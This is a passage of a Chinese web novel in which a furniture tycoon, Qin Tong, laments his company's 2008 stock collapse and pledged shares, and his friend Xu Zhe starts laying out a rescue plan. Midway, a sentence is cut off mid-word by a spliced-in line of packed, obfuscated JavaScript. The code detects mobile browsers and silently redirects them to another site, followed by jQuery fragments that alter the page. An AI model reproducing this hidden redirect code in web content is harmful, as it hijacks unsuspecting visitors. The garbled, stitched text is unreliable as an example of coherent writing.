烟雾缭绕中,覃通那张脸显得愈发灰败。
像是被霜打了的茄叶,透着一股子绝望的气息。
“如果仅仅是出口崩了,我还能咬牙断臂求生,可这老天爷是要把我往绝路上逼啊!”
覃通狠狠地把烟蒂按进水晶烟灰缸里,烟头被碾得粉碎,火星子在玻璃底乱溅。
“国内这摊子烂事儿更是没法提,这两年房地产那是什么光景?你也看见了,那是进了ICU!”
“房子卖不动,到处都是空置房、烂尾楼,老百姓连首付都凑不齐,谁还会有闲钱来置办大件家具?”
他抓起酒瓶,直接往杯子里咕咚咕咚猛倒,红色的液体溅了几滴在洁白的桌布上,触目惊心。
“我那些开在全国的分店,以前那是下金蛋的鸡,现在全是吞金兽!租金、水电、人工,哪样不张嘴要钱?”
“特别是那几个地段一般的店,开门就是亏,关门又怕影响品牌形象,只能硬扛着流血。”
许哲静静地听着,手指有节奏地敲击着膝盖。
零八年,确实是实业的一道鬼门关。
这一年,原材料价格诡异暴涨,人力成本攀升,而市场需求却遭遇了全球性的急冻。
这不仅仅是覃木匠一家的问题,这是整个制造业的寒冬。
“老弟,你知道现在那帮原材料商有多黑吗?优质木材的价格比前两年翻着跟头往上涨!”
“再加上新劳动法实施,用工成本这一块儿,我这利润直接就被两头挤干了,往年闭着眼数钱的日子,那是彻底黄鹤一去不复返咯。”
覃通苦笑一声,眼里泛起血丝,伸出五根手指,在许哲面前晃了晃,声音抖得厉害。
“这都不是最要命的,最要命的是股市。”
“年初的时候,覃木匠的股价还站在二十块的**上,那时候市值百亿,风光无限,投行的人见了我恨不得喊亲爹。”
他猛地收回手,攥成拳头狠狠砸在桌面上,震得盘子叮当作响。
“现在呢?五块六!跌了整整百分之七十多!那是自由落体啊!”
包厢里死一般的寂静,只有覃通粗重的喘息声。
曾经那个甚至在国外都颇有名气的“百亿家具帝国”,如今市值缩水到了二三十个亿
。
就像是一个充满气的气球被狠狠扎了一针,瘪得不成人样!
“前三季度净利润同比暴跌百分之六十,这第四季度……哼,肯定是亏损无疑,全年由盈转亏已经是板上钉钉。
“那帮机构分析师,以前把我也捧上天,现在翻脸比翻书还快,一个个下调评级,看空报告满天飞。
“股民恐慌抛售,股价越跌越猛,越猛越跌,这就是个死循环!
覃通端起酒杯,手哆嗦得厉害,酒液洒出来他也浑然不觉,仰头灌下,辛辣的酒精似乎也压不住心头的火烧火燎。
“老弟,哥哥我心里苦啊,为了扩张,我手里的大部分股权都质押给了银行和券商。
“现在股价跌成这个鬼样子,已经逼**仓线了!要是再跌……我就得爆仓,覃木匠就要易主,我这半辈子的心血,就全完了!
说到最后,这位在商海浮沉半生的硬汉,眼眶竟然红了一圈,声音里带上了几分哽咽的求救意味。
他是真没办法了。
这一关过不去,那就是万丈深渊。
许哲看着眼前这个颓唐的男人,心中暗叹一声。
这一年他确实太忙了,全部精力都扑在了智能手机的迭代和移动互联网生态的布局上,对于传统行业的关注确实少得可怜。
家具行业作为房地产的下游,在这场海啸中首当其冲,也是必然。
但他不能不管。
不仅仅是因为那是覃通,是他微末之时结交的老友,更因为他手里也攥着覃木匠不少的原始股。
覃木匠要是倒了,他的资产表上也要划掉难看的一笔。
许哲放下酒杯,身子微微前倾,那双深邃的眸子里闪过一丝早已洞悉一切的冷静,仿佛外界的惊涛骇浪到了他这里,都得乖乖平息。
“覃哥,你把心放回肚子里。
他抽出一张纸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17305869|179978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
巾,慢条斯理地擦了擦桌上溅出的酒渍,动作优雅而从容,与覃通的慌乱形成了鲜明的对比。
“今年我是忙昏了头,没顾上看家具这一块的盘子,但我还是覃木匠的股东,咱们是一根绳上的蚂蚱。
“既然你这大老板都找上门来了,那这个忙,我帮定了!
覃通立刻看向他,“你怎么帮我?
许哲微微一笑,“且等我想想。
零八年,金融海啸席卷全球,尸横遍野,但这对于先知者而言,却是遍地黄金的抄底良机。
家具行业的症结不在于木头,而在于人心和盲目。
许哲思忖片刻,手指在湿漉漉的桌面上划出一道痕迹,声音沉稳有力,每一个字都像是砸在钢板上的钉子。
“覃哥,这世上没有死局,覃木匠现在看着惨,但只要按我的做,说不定能浴火重生!
覃通猛地抬起头,那双布满血丝的牛眼里闪过一丝希冀的光,像是溺水者抓住了最后一根稻草。
许哲竖起第一根手指。
“第一,止血,你的股价现在不是跌,是崩,股民在恐慌,机构在做空,你得比他们更狠。
“明天一早,你立刻发布公告,不管是抵押房产还是借**,筹措一笔资金,高调宣布回购公司股票。
“你要让所有人都看到,覃大老板对自己这艘船有绝对的信心,你没跑,你在买!
这一招是定海神针,只有庄家敢坐庄,散户才敢跟。
紧接着,第二根手指竖起。
“第二,掉头,外贸那条线,现在就是绞肉机,洋鬼子自己都揭不开锅了,谁买你的高档家具?
“立刻暂停所有外贸生产线,哪怕违约金赔一点也比生产出来变库存强,把港口积压的那些货全部拉回来,贴上出口转内销,顶级品质亲民价的标签,给我往死里铺货。
“咱们国人就认这个,同样的质量,只有出口价的一半,资金回笼的速度绝对超出你想象!
覃通嘴巴微张,似乎想反驳什么品牌调性,但许哲根本没给他机会,语速骤然加快。